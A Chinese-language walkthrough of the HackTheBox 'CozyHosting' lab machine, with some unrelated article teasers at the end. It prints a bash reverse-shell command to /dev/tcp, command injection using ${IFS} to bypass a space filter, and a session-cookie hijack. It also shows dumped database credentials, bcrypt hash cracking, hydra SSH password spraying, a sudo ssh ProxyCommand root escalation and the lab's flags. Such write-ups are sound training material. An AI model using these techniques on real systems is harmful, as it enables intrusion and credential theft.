HTB:CozyHosting[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many TCP ports are open on CozyHosting?

2.The webserver on TCP port 80 issues a redirect to what domain?

3.What relative path on the webserver returns a 500 error?

4.What is the Java web framework used in the web application?

5.What endpoint is exposed in Spring Boot and is mainly used for debugging purposes?

6.What is the username of the user's whose session is exposed?

7.When a POST request is sent to /executessh, which of the two parameters is vulnerable to command injection?

通过Yakit抓包,修改Cookie值

8.What user is the web application running as?

9.What is the full path to the Java file that runs the web application?

10.What is the name of the file where application-related properties are stored in a Spring Boot application?

11.What is the admin user's password for the web application?

12.Submit the flag located in the josh user's home directory.

USER_FLAG:6119fa773d0ffd27c4dd189fc0f5d9d5

13.What is the full path of the binary that the josh user can execute on the machine as root?

14.Submit the flag located in the root user's home directory.

ROOT_FLAG:d2d1cf194e12a9002e66e87f61e53579


连接至HTB服务器并启动靶机

靶机IP:10.10.11.230

分配IP:10.10.16.22


1.How many TCP ports are open on CozyHosting?

使用fscan对靶机开放端口进行快速扫描

fscan -nopoc -nobr -no -h {TARGET_IP}

┌──(root㉿kali)-[/home/kali/Desktop]
└─# fscan -nopoc -nobr -no -h 10.10.11.230

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
10.10.11.230:80 open
10.10.11.230:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.230       code:301 len:178    title:301 Moved Permanently 跳转url: http://cozyhosting.htb
已完成 2/2
[*] 扫描结束,耗时: 736.313668ms

由扫描结果可见,靶机开放端口:22、80共2个端口


2.The webserver on TCP port 80 issues a redirect to what domain?

使用curl访问靶机80端口

curl -I http://{TARGET_IP}:80

┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl -I http://10.10.11.230:80
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Oct 2024 07:41:30 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://cozyhosting.htb

由输出可见,访问靶机80端口将被重定向至域名:cozyhosting.htb


3.What relative path on the webserver returns a 500 error?

将IP与域名写入hosts中以便DNS从本地解析

echo "{TAGET_IP} cozyhosting.htb" >> /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat /etc/hosts
127.0.0.1 kali
10.10.11.230 cozyhosting.htb

对该域名进行路径FUZZ

ffuf -u http://cozyhosting.htb/FUZZ -w common.txt

┌──(root㉿kali)-[/home/kali/Desktop/dictionary]
└─# ffuf -u http://cozyhosting.htb/FUZZ -w common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /home/kali/Desktop/dictionary/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 100ms]
admin                   [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 95ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 80ms]
index                   [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 81ms]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 101ms]
logout                  [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 75ms]
:: Progress: [4614/4614] :: Job [1/1] :: 404 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

由输出可见,相对路径:/error响应状态码为500


4.What is the Java web framework used in the web application?

使用浏览器访问靶机/error目录

对关键字(Whitelabel Error Page)进行搜索,可知该Web使用应用程序为:Spring Boot


5.What endpoint is exposed in Spring Boot and is mainly used for debugging purposes?

已知靶机Web应用程序使用Spring-boot,再次使用对应字典对路径FUZZ

ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt

由输出可见,/actuator端点下包含着一堆Web配置路径


6.What is the username of the user's whose session is exposed?

使用浏览器访问靶机目录:/actuator/sessions

可见该用户名为:kanderson


7.When a POST request is sent to /executessh, which of the two parameters is vulnerable to command injection?

通过上文获取到的sessions文件中的Cookie对/admin路径进行访问

通过Yakit抓包,修改Cookie值

成功进入Admin Dashboard

往下拉可以看到连接设置栏目

本地写一个反弹shell的sh文件,用于靶机访问执行

echo "bash -i >& /dev/tcp/{TARGET_IP}/1425 0>&1" > reverse_shell.sh

靶机访问此反弹shell文件。使用${IFS}绕过Web黑名单对空格的限制

本地nc侧成功收到回显

┌──(root㉿kali)-[/home/kali/Desktop/dictionary]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.230] 46290
bash: cannot set terminal process group (1063): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ whoami
whoami
app

考虑到这里的栏目作用是通过SSH协议连接,所以Username参数位置靠前更危险


8.What user is the web application running as?

通过nc直接执行whoami命令:

┌──(root㉿kali)-[/home/kali/Desktop/dictionary]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.230] 46290
bash: cannot set terminal process group (1063): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ whoami
whoami
app

由回显可见,当前用户为app


9.What is the full path to the Java file that runs the web application?

列出当前目录下所有文件

ls

查看当前目录位置

pwd

由于在本目录下可以找到jar文件,完整路径为:/app/cloudhosting-0.0.1.jar


10.What is the name of the file where application-related properties are stored in a Spring Boot application?

直接扔给谷歌:application.properties

系统内寻找该文件位置

find / -name 'application.properties' 2>/dev/null

app@cozyhosting:/app$ find / -name 'application.properties' 2>/dev/null
find / -name 'application.properties' 2>/dev/null
/tmp/app/BOOT-INF/classes/application.properties


11.What is the admin user's password for the web application?

查看该Spring-boot相关属性文件内容

cat /tmp/app/BOOT-INF/classes/application.properties

app@cozyhosting:/app$ cat /tmp/app/BOOT-INF/classes/application.properties
cat /tmp/app/BOOT-INF/classes/application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

结尾处疑似postgresql数据库凭证

用户:postgres

密码:Vg&nvzAQ7XxR

提升tty

python3 -c 'import pty; pty.spawn("/bin/bash")'

尝试在靶机中连接至数据库

psql -h localhost -U postgres

列出所有数据库

\list

连接cozyhosting数据库

\connect cozyhosting

列出表单

\dt

查询users表单中所有列数据

SELECT * FROM users;

我们这里就分别获得了kanderson、admin用户的密码哈希值

admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim

查询该哈希值类型

hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

查询hashcat手册可知3200代表bcrypt哈希类型

分别将kanderson、admin用户密码哈希值写入hash1、hash2文件中

echo '$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim' > hash1
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash2

尝试对admin用户哈希文件进行爆破

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib...kVO8dm
Time.Started.....: Thu Oct 24 10:34:43 2024 (1 min, 5 secs)
Time.Estimated...: Thu Oct 24 10:35:48 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/kali/Desktop/dictionary/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       43 H/s (12.02ms) @ Accel:6 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2808/14344385 (0.02%)
Rejected.........: 0/2808 (0.00%)
Restore.Point....: 2772/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidate.Engine.: Device Generator
Candidates.#1....: catcat -> keyboard
Hardware.Mon.#1..: Util: 74%

Started: Thu Oct 24 10:34:36 2024
Stopped: Thu Oct 24 10:35:49 2024

用户:admin

密码:manchesterunited


12.Submit the flag located in the josh user's home directory.

提取出靶机中所有用户的用户名

cut -d: -f 1 /etc/passwd

app@cozyhosting:/app$ cut -d: -f 1 /etc/passwd
cut -d: -f 1 /etc/passwd
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
_apt
systemd-network
systemd-resolve
messagebus
systemd-timesync
pollinate
sshd
syslog
uuidd
tcpdump
tss
landscape
fwupd-refresh
usbmux
lxd
app
postgres
josh
_laurel

攻击机中新建一个文件,并存入用户名

使用美杜莎进行爆破

hydra -L temp.txt -p manchesterunited ssh://{TARGET_IP}

尝试登录josh用户SSH服务

ssh josh@{TARGET_IP}

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh josh@10.10.11.230
The authenticity of host '10.10.11.230 (10.10.11.230)' can't be established.
ED25519 key fingerprint is SHA256:x/7yQ53dizlhq7THoanU79X7U63DSQqSi39NPLqRKHM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.230' (ED25519) to the list of known hosts.
josh@10.10.11.230's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Oct 24 02:45:24 PM UTC 2024

  System load:           0.0048828125
  Usage of /:            56.2% of 5.42GB
  Memory usage:          31%
  Swap usage:            0%
  Processes:             246
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.230
  IPv6 address for eth0: dead:beef::250:56ff:feb9:a52d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Oct 24 03:20:15 2024 from 10.10.16.16
josh@cozyhosting:~$ whoami
josh

查找一下user_flag位置

find / -name 'user.txt' 2>/dev/null

查看user_flag内容

cat /home/josh/user.txt

josh@cozyhosting:~$ find / -name 'user.txt' 2>/dev/null
/home/josh/user.txt
josh@cozyhosting:~$ cat /home/josh/user.txt
6119fa773d0ffd27c4dd189fc0f5d9d5

USER_FLAG:6119fa773d0ffd27c4dd189fc0f5d9d5


13.What is the full path of the binary that the josh user can execute on the machine as root?

查看一下可以特权运行的文件

sudo -l

josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

该文件完整路径为:/usr/bin/ssh


14.Submit the flag located in the root user's home directory.

直接把ssh文件扔到GTFOBins查询Getshell命令

这里选择第二条,结合实际命令为

sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x

josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

# find / -name 'root.txt'
/root/root.txt
# cat /root/root.txt
d2d1cf194e12a9002e66e87f61e53579

ROOT_FLAG:d2d1cf194e12a9002e66e87f61e53579

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/57619.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初识算法 · 二分查找(4)

目录 前言&#xff1a; 寻找峰值 题目解析 算法原理 算法编写 寻找旋转排序数组中的最小值 题目解析 算法原理 算法编写 寻找缺失的数字 题目解析 算法原理 算法编写 前言&#xff1a; ​本文的主题是二分查找&#xff0c;通过三道题目讲解&#xff0c;一道是寻找…

【Web开发】什么是Nuxt? 利用Nuxt快速搭建前端项目

Nuxt官网&#xff1a;https://nuxt.com/ 启动一个Nuxt项目 在vscode的项目文件终端运行以下命令&#xff1a; npx nuxilatest init <my-app>npm installnpm run dev然后就启动了一个Nuxt项目 安装Nuxt UI Nuxt UI官网&#xff1a;https://ui.nuxt.com/ npx nuxilates…

线程的同步

目录 引入 认识条件变量 快速认识接口​编辑 认识条件变量​编辑 测试代码​编辑 生产消费模型 为何要使用生产者消费者模型 理解 编写生产消费模型 BlockingQueue 单生产单消费 多生产多消费 引入 同步&#xff1a;在保证数据安全的前提下&#xff0c;让线程…

Hugging Face HUGS 加快了基于开放模型的AI应用的开发

在过去一年左右的时间里&#xff0c;开源人工智能模型在性能上已经明显赶上了 OpenAI、Google 和其他公司的流行闭源模型。 然而&#xff0c;由于在不同硬件上部署和维护这些模型所带来的开销&#xff0c;开发人员尚未广泛采用这些模型。为了解决这个问题&#xff0c;Hugging F…

【Unity】Unity中文本中插入超链接且可点击响应,TextMeshPro的进阶用法

一、需求和尝试 今天遇到这样一个需求&#xff1a;在文本中插入超链接&#xff0c;且这个链接可以点击跳转对应的url&#xff0c;具体形式如下图所示。 其实这个有一个简单粗暴的方法&#xff0c;就是把需要加超链接的文本单独拿出来&#xff0c;和其他文本进行拼接&#xf…

修改huggingface的缓存目录以及镜像源

执行以下语句查看当前配置 huggingface-cli env默认输出应该如下 (py39-transformers) PS D:\py_project\transformers_demo> huggingface-cli envCopy-and-paste the text below in your GitHub issue.- huggingface_hub version: 0.26.1 - Platform: Windows-10-10.0.22…

面向垂类场景的智能化低代码引擎

背景介绍 在通信领域中&#xff0c;不同客户的数字化场景存在多种个性化大屏的定制需求&#xff0c;常见业务范围涵盖政务、金融、教育、工业、传媒、互联网等行业领域。然而&#xff0c;面对如此巨大的产业痛点诉求&#xff0c;传统低代码领域却存在数据监控粒度不统一、定制化…

学习docker第三弹------Docker镜像以及推送拉取镜像到阿里云公有仓库和私有仓库

docker目录 1 Docker镜像dockers镜像的进一步理解 2 Docker镜像commit操作实例案例内容是ubuntu安装vim 3 将本地镜像推送至阿里云4 将阿里云镜像下载到本地仓库5 后记 1 Docker镜像 镜像&#xff0c;是docker的三件套之一&#xff08;镜像、容器、仓库&#xff09;&#xff0…

基于SpringBoot+Vue+MySQL的实践性教学系统

系统展示 用户前台界面 后台界面 系统背景 随着信息技术的快速发展&#xff0c;企业对于高效、智能的管理系统需求日益迫切。传统的管理系统大多采用单机版或C/S架构&#xff0c;存在操作复杂、维护困难、数据共享性差等问题。而基于SpringBootVueMySQL的全栈管理系统&#xff…

【10分钟本地部署大语言模型】借助1Panel、MaxKb、Ollama快速部署大语言模型(qwen、llama等)及知识库

前言&#xff1a; 本文介绍一种快速在Linux服务器&#xff08;windows使用wsl也可以&#xff09;上部署大语言模型&#xff08;含知识库&#xff09;的方式。 核心内容如下&#xff1a; 1Panel&#xff1a; 开源的Linux 服务器运维管理面板&#xff0c;通过该面板安装ollama和…

Serv00 免费虚拟主机 零成本搭建 PHP / Node.js 网站

本文首发于只抄博客&#xff0c;欢迎点击原文链接了解更多内容。 前言 Serv00 是一个提供免费虚拟主机的平台&#xff0c;包含了 3GB 的存储空间和 512MB 的内存空间&#xff0c;足够我们搭建一个 1IP 的小网站了。同时他还不限制每月的流量&#xff0c;并提供了 16 个数据库&…

进程间通信(一)管道

文章目录 进程间通信进程间通信概述进程间通信的方式管道通信示例--基于管道的父子进程通信示例--使用管道进程兄弟进程通信 管道的读写特性示例--不完整管道&#xff08;读一个写端关闭的管道&#xff09;示例--不完整管道&#xff08;写一个读端关闭的管道&#xff09; 标准库…

PyQt 入门教程(3)基础知识 | 3.1、使用QtDesigner创建.ui文件

文章目录 一、使用QtDesigner创建.ui文件1、创建.ui文件2、生成.py文件3、使用新生成的.py文件4、编辑新生成的.py文件 一、使用QtDesigner创建.ui文件 1、创建.ui文件 打开PyCharm&#xff0c;使用自定义外部工具QtDesigner创建mydialog.ui文件&#xff0c;如下&#xff1a; …

大话网络协议:HTTPS协议和HTTP协议有何不同?为什么HTTPS更安全

大家现在访问网络,浏览网页,注意一下的话,网址前面基本上都是一个 https:// 的前缀,这里就是说明这个网址所采用的协议是 https 协议。那么具体应该怎么理解 https 呢? 本文我们就力争能清楚地解释明白这个我们目前应该最广的协议。 理解HTTP协议 要解释 https 协议,当…

[mysql]聚合函数GROUP BY和HAVING的使用和sql查询语句的底层执行逻辑

#GROUP BY的使用 还是先从需求出发,我们现在想求员工表里各个部门的平均工资,最高工资 SELECT department_id,AVG(salary) FROM employees GROUP BY department_id 我们就会知道它会把一样的id分组,没有部门的就会分为一组,我们也可以用其他字段来分组,我们想查询不同jb_id…

动力电池中的基础知识总结

动力电池基础 基本定义 电池的分类方式多样&#xff0c;按工作特性和储存方式分类 一次电池&#xff08;Primary Battery&#xff09;&#xff1a;只能进行一次放电&#xff08;disposable or single-use batteries&#xff09;&#xff0c;放电后不能通过充电的方式使其恢复…

Postgresql pgsql 插件之postgis 安装配置

相关链接&#xff1a; pgsql编译安装 一、说明 postgis是pgsql最强大的几个插件之一&#xff0c;可以用于地理信息系统&#xff08;gis&#xff09;的搭建 二、插件安装启动 由于我的pgsql是编译安装的&#xff0c;所以插件也是编译安装&#xff0c;更加灵活。 1.进入到源…

草地杂草数据集野外草地数据集田间野草数据集YOLO格式VOC格式目标检测计算机视觉数据集

一、数据集概述 数据集名称&#xff1a;杂草图像数据集 数据集是一个包含野草种类的集合&#xff0c;其中每种野草都有详细的特征描述和标记。这些数据可以包括野草的图片、生长习性、叶片形状、颜色等特征。 1.1可能应用的领域 农业领域: 农业专家和农民可以利用这一数据集来…

IDEA无法生成自动化序列serialVersionUID及无法访问8080端口异常的解决方案

作者&#xff1a;CSDN-PleaSure乐事 欢迎大家阅读我的博客 希望大家喜欢 使用环境&#xff1a;IDEA 今天是1024程序员节&#xff0c;先祝大家节日快乐&#xff01; 无法生成自动化序列serialVersionUID 如果我们在idea当中想要通过generate来生成自动化序列&#xff0c;如下图…

Nest.js 实战 (十五):前后端分离项目部署的最佳实践

☘️ 前言 本项目是一个采用现代前端框架 Vue3 与后端 Node.js 框架 Nest.js 实现的前后端分离架构的应用。Vue3 提供了高性能的前端组件化解决方案&#xff0c;而 Nest.js 则利用 TypeScript 带来的类型安全和模块化优势构建了一个健壮的服务端应用。通过这种技术栈组合&…